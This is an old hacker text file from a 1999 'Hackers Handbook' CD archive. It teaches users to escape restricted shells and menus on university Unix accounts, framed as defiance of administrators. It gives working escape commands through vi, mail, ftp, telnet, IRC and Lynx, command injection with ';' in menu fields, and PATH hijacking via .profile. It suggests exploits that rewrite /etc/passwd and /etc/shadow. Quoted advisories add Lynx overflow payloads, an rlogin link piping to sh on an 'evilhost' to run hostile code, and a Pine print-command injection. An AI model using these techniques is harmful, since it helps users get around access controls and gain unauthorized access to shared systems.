home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack99 / MENU2ENG.txt < prev    next >
Encoding:
Text File  |  1999-03-24  |  15.7 KB  |  497 lines

  1. HOW TO STOP A FUCKING MENU AND KILL THE STUPID LIMITATIONS V.2.2
  2.       (Restricted shells, menus and that kind of shit)
  3.                   by ET LoWNOISE 1998/99
  4.                    et@cyberspace.org
  5.  
  6.  
  7. DISCLAIMER
  8. Learn.
  9.  
  10. Often universities implement stupid restrictions in their servers 
  11. And clients of student use that the only thing that they avoid is
  12. the correct use of the resources available for you and for the others,
  13. that pay a hi price to study in a quality college. 
  14.  
  15. But the common thing is that your university says that supports the 
  16. Investigation, but this is simply a privilege of few and if you wish
  17. To investigate or to learn on something, the amount of estupid people
  18. That you have to fight against, thanks to the mistify technology policy,
  19. And more letters, etc. it will show you that in fact they do not help,
  20. they just collaborate with the increase of the technological mediocrity 
  21. of this  hell and beautifull country of mine. 
  22.  
  23. This document is not a great inspiration for 31337 gurus, it is a simple
  24. document so that any person with estupid limitations can jump them. 
  25.  
  26.  
  27.  
  28. MENU IN MY SHELL ACCOUNT (UNIX)?
  29.  
  30.  
  31. You wish to learn UNIX (to realize that MICROSUCKS stinks out) and to
  32. request an account shell in another server to learn, is something that
  33. would not give you for multiple reasons, like not being from advanced 
  34. semesters or things like that. 
  35.  
  36. The only thing that you have its a beautiful account with a beautiful
  37. menu (implemented Menu that causes that any task takes 3 times the
  38. normal run time and avoids the possibility of having direct access to
  39. the system). 
  40.  
  41. The multiple ways to eliminate menu depend directly on the form as it
  42. were implemented and the services that render. For that reason we will
  43. begin using the simple way: 
  44.  
  45.  
  46. 1. Services 
  47.  
  48. To jump the menu first you will have to know what applications you have
  49. normal access then some will have internal options that allow the 
  50. execution of direct commands and/or in the best of cases take you to the
  51. shell prompt. 
  52.  
  53. A simple menu in general have the following services which in fact are 
  54. direct calls to the applications: 
  55.  
  56.        - E-mail (pine, mail)
  57.        - File Transfer (FTP) 
  58.        - Connect to other server (telnet)
  59.        - Basic system commands (ex. finger, vi)
  60.        - Configuration Setup
  61.        - Some kind of chat (ex. IRC) 
  62.  
  63.  
  64.  
  65.  
  66. 1.1 Access to vi (Taken from alt.2600 FAQ)
  67.  
  68. Vi its a tipic and powerful text editor that maybe you have access to, 
  69. when selecting the option to edit or to see the content of a file 
  70. stored in your account. This is taken from the FAQ of alt.2600 and is
  71. in fact the tipic and most known example that by obligation must be
  72. included in this document. 
  73.  
  74. Execute Vi and type this command: 
  75.  
  76. :shell=/bin/sh 
  77.  
  78. Then leave to the shell using this command:
  79.  
  80. :shell
  81.  
  82. NOTE: 
  83. If you restricted shell prevents the use of the command " CD ",
  84. Execute FTP to your account and then you can take a walk by the
  85. files using " CD ". 
  86.  
  87.  
  88. 1.2 Access to "mail" program
  89.  
  90. If you have access to "mail" program for the handling of E-mail
  91. in your account follow the following steps: 
  92.  
  93. Execute the menu option that makes a call to the mail program.
  94. In some menus or restricted shells you have the possibility 
  95. to choose whatt application is used to handle your mail. 
  96. Choose "mail" (no pine) and execute it. 
  97.  
  98. If you do not have any new mail to read, mail informe you that
  99. it does not have mail to read  and bring back the menu.
  100.  
  101. Example.       
  102.              1. Email (mail) <------- Select Option to E-Mail 
  103.  
  104.              No mail for user1..... 
  105.              (It returned automatic to options menu)
  106.     
  107.         
  108.    BEFORE THIS PLEASE SEND YOURSELF AN E-MAIL. 
  109.  
  110.    1. Email (mail) <------- Select Option to E-Mail 
  111.  
  112.    Mail version ?. Type ? for help.
  113.    "/var/spool/mail/user1": 1 messages
  114.  
  115.    > 1 user1@my.host.edu Thu Sep 1 1:11 1/98  "test"
  116.    & 
  117.  
  118.    Ok now we are at the mail prompt "&" so now just
  119.    type this:
  120.  
  121.    &!/bin/sh[enter]
  122.    $    <------------ Another dead menu :).
  123.  
  124.    Note: Many programs use the character "!" in order to
  125.          talk about the command who allows the direct 
  126.          execution of shell commands, in the best case 
  127.          you must execute /bin/sh to leave to the shell
  128.          (command interpreter).                 
  129.  
  130.  
  131. 1.3 FTP and Telnet
  132.  
  133. FTP and Telnet they also have the capacity of being able to 
  134. execute commands from the prompt of each one with the same
  135. character "!" like this: 
  136.  
  137.  
  138.  ftp> !ps   <-------- !(command)
  139.   PID TT STAT  TIME COMMAND
  140.  2679 p2 S     0:01 -menu
  141.  2832 p2 R     0:00 ps
  142.  
  143. telnet>!ps
  144.  PID TT STAT  TIME COMMAND
  145.  2679 p2 S     0:01 -menu
  146.  2832 p2 R     0:00 ps
  147.  
  148. Sometimes depending on the initial configuration of your account,
  149. the execution of commands using methods like this causes that 
  150. sometimes the program is not located and therefore not executed.
  151. Its recomended then that at the moment for executing any command
  152. give the complete path (localization within the system). 
  153.  
  154.  
  155. Example.
  156.  
  157. ftp> !/usr/bin/ps
  158. PID TT STAT  TIME COMMAND
  159.  2679 p2 S     0:01 -menu
  160.  2832 p2 R     0:00 ps
  161.  
  162. NOTE: Always try to execute !/bin/sh
  163.  
  164. NOTE FOR WIN95/98 (winshit95/98) AND (winsucksNT) NT:
  165. The same applies for these stinking " operating systems ":
  166.  
  167.  
  168.            ftp>!command.com
  169.            Microsoft<R> Windows NT DOS
  170.            <C>Copyright Microsoft Corp 1990-1996.
  171.  
  172.            C:\>
  173.  
  174.  
  175.  
  176. With respect to  FTP its very easy to get the prompt because it always
  177. appears after making or when ABORTING a connection. For telnet the
  178. problem is that some menus when giving the telnet option, immediately
  179. is going to request the host name or ip to connect itself without
  180. having the opportunity to use the prompt at any  moment, but for
  181. this try to make a connection and in the connection process  press
  182. keys CONTROL+ ] to cancel all work leaving you at the telnet prompt. 
  183.  
  184.  
  185. 1.4 IRC 
  186.  
  187. If the menu o restricted shell has access to the IRC client (Internet
  188. Relay Chat) when entering, you can execute any command with 
  189. /EXEC (command). 
  190.  
  191.  
  192. 1.5 Lynx 
  193.  
  194. Lynx is the text client used in menus to get html pages (www). If the
  195. execution of commands is enabled in Lynx (negligence in the installation 
  196. and configuration) it can be used special URLs to execute arbitrary
  197. commands in the system. Any command can be executed. 
  198.  
  199. The URLs used are lynxexec and lynxprog:
  200.  
  201. Example.
  202.       lynxexec:ls -l       
  203.       lynxprog:news
  204.       lynxexec:/bin/sh
  205.  
  206. Example.
  207.       lynx lynxexec://localhost/finger
  208.  
  209.  
  210. 1.6 MORE
  211.  
  212. Some restricted shells use a command line program called "more" 
  213. to show a list, this program makes a pause when the screen is
  214. full of data and wait for the user to press the space bar to 
  215. continue, and it show at the bottom of the screen the percent 
  216. showed at that moment.
  217.  
  218. If u think that u have access at any moment to this program 
  219. (example: an option that show any anouncement about the system 
  220. made by the administrator) type:
  221.  
  222. !/bin/sh  (this will execute the shell)
  223. $
  224.  
  225. type ? to see more options.
  226.  
  227.  
  228.  
  229. --------------------------------------------------------------------------------
  230.  
  231. 2. Implementation 
  232.  
  233. Depends on the way they implemented the menu (programming, language, 
  234. the form as it is executed) makes difficult or facilitates the tricks 
  235. to jump the imposed restrictions. Thats the reason why it is possible
  236. that you need to modify a little the described forms so they can work. 
  237.  
  238.  
  239. 2.1. TRAPS
  240.  
  241. In fact im sure  that this case does not apply but is worth the trouble
  242. to try (you neve know). " God works in mysterious ways ". 
  243.  
  244. In UNIX you have combinations of keys that when they are pressed they
  245. send a signal to the program that is executing. Depending on the sent
  246. signal the program will abort or suspend the execution. 
  247.  
  248. Multiple signals exist and if in the menu porgramming " traps " are
  249. not handled that control the behavior of the program (menu), when
  250. receiving a certain signal you could leave the menu without any
  251. problem. 
  252.  
  253. At the time of initiating the menu press: 
  254.  
  255.     CONTROL + C    (Abort execution)
  256.     CONTROL + Z    (Suspend execution)
  257.       CONTROL + D
  258.  
  259. NOTE: Again it is not probable that this work, just a crazy programmer
  260. will leave this kind of things behind. 
  261.  
  262.  
  263. 2.2 Configuration 
  264.  
  265. Some menus have configuration (Setup) options, which you can modify at 
  266. any time to choose what editor you use, what type of terminal or the
  267. mail program you prefer to work with. 
  268.  
  269. For negligence in the programming of the menu is possible that u can 
  270. find fields that can be left in clean (empty)  entering one or several 
  271. spaces, in the bottom  for example if we enter to text editor's 
  272. configuration and we are requested to type the name of the program to 
  273. use (Ex. pico, vi) when we return to the main menu and let us choose 
  274. text editor's option the menu will make the call to the application 
  275. that previously we have typed. If in the configuration we can leave 
  276. the field in white as a group of typed spaces when we execute the menu
  277. and we are requested the name of the file to publish (edit) there in 
  278. that moment we will be able to give him any command to execute. 
  279.  
  280. If u prefers it also instead of leaving in spaces the field, just place
  281. the command to execute,although this method is a little annoying if u will execute multiple commands.  
  282.  
  283. Example.
  284.  
  285. (Setup Option)
  286.      Type The Text Editor to use (Pico , Vi)?:        _ <--- spaces
  287. (Main Menu, "Edit" Option )
  288.      Type the filename to edit:  ps    <------ Command
  289.  
  290.        PID TT STAT  TIME COMMAND
  291.       2679 p2 S     0:01 -menu
  292.       2832 p2 R     0:00 ps
  293.  
  294. This case depends on how was implemented the menu and how creative
  295. you can be.
  296.  
  297.  
  298. 2.3 Beginning & Setup Files (.login ,.profile)
  299.  
  300. Commonly when you enter to your account, the shell automatically executes
  301. Some commands included in a certain file (on tcsh it is .profile, on 
  302. other shells is .login ).                 
  303.  
  304. Some administrators to execute the menu every time you logon to your account they include the line in this file. If the permits were not well placed to the file it is possible to edit  this file or to upload using FTP a .profile or .login according to the case, eliminating the lines that executethe menu. (Or simply erase the complete file).  
  305.   
  306. If you can see the content of the setup file of the shell and you realize that  
  307. the menu is called directly without including its path, you can create a file  
  308. with the same name, containing one line as /bin/sh and then  put in your  
  309. account. If the PATH variable is not well defined and the execution of the menu                             isn't a direct  call in the file /etc/passwd, when you enter  to the account   
  310. again the system will execute the mistaken menu (its kind of a Trojan Horse)
  311. , leaving you directly in the shell defined. 
  312.  
  313. NOTE: be careful with the permisions of the new file.  
  314.   
  315.  
  316. 2.4 linking Commands  
  317.   
  318. Another form of executing commands is to use characters that link 
  319. commands in the shell this way:
  320.  
  321. user1> finger @some.host.edu;ps     <---------------- Check the ";"
  322. [some.host.edu]
  323.  
  324. Welcome to Linux version 2.0.30 at some.host.edu !
  325.  
  326.   4:02pm  up 6 days,  2:51,  3 users,  load average: 0.05, 0.02, 0.00
  327.  
  328. Login     Name      Tty  Idle  Login Time   Office     Office Phone
  329. user1                      p0     1  Sep 11 14:38 (xxx.25.64.xxx)
  330. user2                      p1        Sep 11 16:01 (xxx.25.65.xxx)
  331. user3                      p3     4  Sep 11 15:29 (xxx.25.68.xxx)
  332.  
  333.   PID TTY STAT  TIME COMMAND
  334.  9562  p1 S    0:00 -tcsh
  335.  9576  p1 R    0:00 ps
  336.  
  337. user1>     
  338.  
  339. Now you have noticed that in one line you can link multiple 
  340. commands and execute them one behind another. Likewise if in the 
  341. menu they have not taken the care of eliminate characters like 
  342. this one ";"  , when  is requested some parameter for some 
  343. internal command , you add more necessary commands :).  
  344.  
  345. Example.
  346.       (Finger Menu Option)
  347.                 Type the Host: www.host.edu;ps
  348.       (this will execute "finger @www.host.edu;ps" )
  349.  
  350. [www.host.edu]
  351.  
  352. Welcome to Linux version 2.0.30 at www.host.edu !
  353.  
  354.   4:02pm  up 6 days,  2:51,  3 users,  load average: 0.05, 0.02, 0.00
  355.  
  356. Login     Name      Tty  Idle  Login Time   Office     Office Phone
  357. user1                      p0     1  Sep 11 14:38 (xxx.25.64.xxx)
  358. user2                      p1        Sep 11 16:01 (xxx.25.65.xxx)
  359. user3                      p3     4  Sep 11 15:29 (xxx.25.68.xxx)
  360.  
  361.   PID TTY STAT  TIME COMMAND
  362.  9562  p1 S    0:00 -menu
  363.  9576  p1 R    0:00 ps
  364.  
  365. Also work according to the application that in fact will be called
  366. with rerouting characters and others ( >>,<<,>,<,&,!,;,:,|).
  367.  
  368.  
  369. 2.5 Ok I can execute commands. So what can i do now?
  370.  
  371. Everything: (Buffers Overflows, etc etc).
  372.  
  373. Suddenly you don't find a way to leave directly to the shell but u can   
  374. execute any command that u want. Modify an exploit that instead of executing  
  375. in their code the /bin/sh ,executes a program that for example modifies the line in /etc/passwd and /etc/shadow so that executes directly a shell and not a menu when you log on.                             
  376.  
  377. Compile it in another host and upload it to your account. Now execute it as if it was a simple command, the rest leaves to your imagination.  
  378.   
  379. Many ways exist to be able to surpass those small limitations that  
  380. they like to create. Everything depends on the creativity and the desires   
  381. to learn that you have. The curiosity will never be a crime.  
  382.   
  383.   
  384.   
  385. 3. COMMON PROGRAMS EXPLOITS 
  386.  
  387. Here are some recent exploits that can be useful according 
  388. to the case:
  389.  
  390. 3.1 Latest Lynx BUGS 
  391.    ------------------
  392.  
  393. Michal Zalewski (lcamtuf@IDS.PL)
  394. Sun, 6 Sep 1998 00:53:24 +0200 
  395.  
  396. Trivial Overflows on:
  397.  
  398. <a href="rlogin://(aprox. 1454 veces 'A')">...</a>,
  399. <a href="telnet://(aprox. 1454 veces 'A')">...</a> o
  400. <a href="tn3270://(aprox. 1454 veces 'A')">...</a>
  401.  
  402.  
  403. Chooses your favorite protocol, beautiful SEGV in 0x41414141. Also,  
  404. Overflows in finger://, cso://, nntp:// and news://. Unfortunately  
  405. they are not so easily exploitable. 1454 bytes are  perfect for   
  406. lynx 2.8.x under Linux. It can vary in other platforms.  
  407.   
  408. Nothing more to say. Me (Michal Zalewski (lcamtuf@IDS.PL))  reports similar overflows  
  409. similar in the protocol mailto: months ago. I don't have idea if they have been fixed.  
  410.   
  411. Examples: http://dione.ids.pl/~lcamtuf/pliki/browsers.html.gz  
  412.   
  413. ------------------------------------------------------------------
  414. Artur Grabowski (art@STACKEN.KTH.SE)
  415. Tue, 17 Nov 1998 17:06:00 +0100 
  416.  
  417. Lynx has a feature that allows trojans.
  418.  
  419. For users on systems where lynx is the login shell or somehow the only
  420. program allowed to run, the user can obtain a shell by simply "clicking"
  421. a link that looks like this: <a href="rlogin://foo;sh@foo">foo</a>.
  422.  
  423. Running hostile code is also easy with this feature:
  424. <a href="rlogin://eviluser|sh@evilhost.foo">foo</a>. The login shell
  425. (or something similiar) for eviluser@evilhost.foo prints out a few commands
  426. to run on the victim.
  427.  
  428.  
  429. 3.2 PINE Bugs
  430.  
  431. (Chris Wilson <cmw32@HERMES.CAM.AC.UK>)
  432.  
  433. Vulnerability in Pine, proven in version 3.95q, but  
  434. it probably applies to all the versions up to 4.02  
  435. this vulnerability allows the execution of commands in   
  436. restricted enviroments.  
  437.   
  438. When a printer is selected, it is possible to choose   
  439. the option Personally selected print command."  
  440.   
  441. This allows to specify a command which pine will execute  
  442. when a document will be printed.  
  443.   
  444. Changing the value of this selection. It is possible to 
  445. execute any command when something is printed.  
  446. For this reason administrators disable this with an option 
  447. in the file pine.conf.fixed.  
  448.   
  449. But if you modify the file manually .pinerc, adding  
  450. one line as:  
  451.  
  452. printer=test [] echo Hello! > test
  453.  
  454. Then this will jump the imposed restrictions and it will  execute  
  455. the command each time  that it is said that it is print any document.  
  456. -------------------------------------------------------------------
  457.  
  458. If u dont like this document dont worry, dont read it.
  459.  
  460. ET 1998/99. et@cyberspace.org          <--- this one is the real one
  461.             et@my.narco-goverment.sucks.co
  462.             Colombia
  463.  
  464.  
  465.  
  466.  
  467.  
  468.  
  469.  
  470.  
  471.  
  472.  
  473.  
  474.  
  475.  
  476.  
  477.  
  478.  
  479.      
  480.  
  481.  
  482.  
  483.  
  484.  
  485.  
  486.  
  487.  
  488.  
  489.       
  490.  
  491.  
  492.  
  493.  
  494.  
  495.  
  496.  
  497.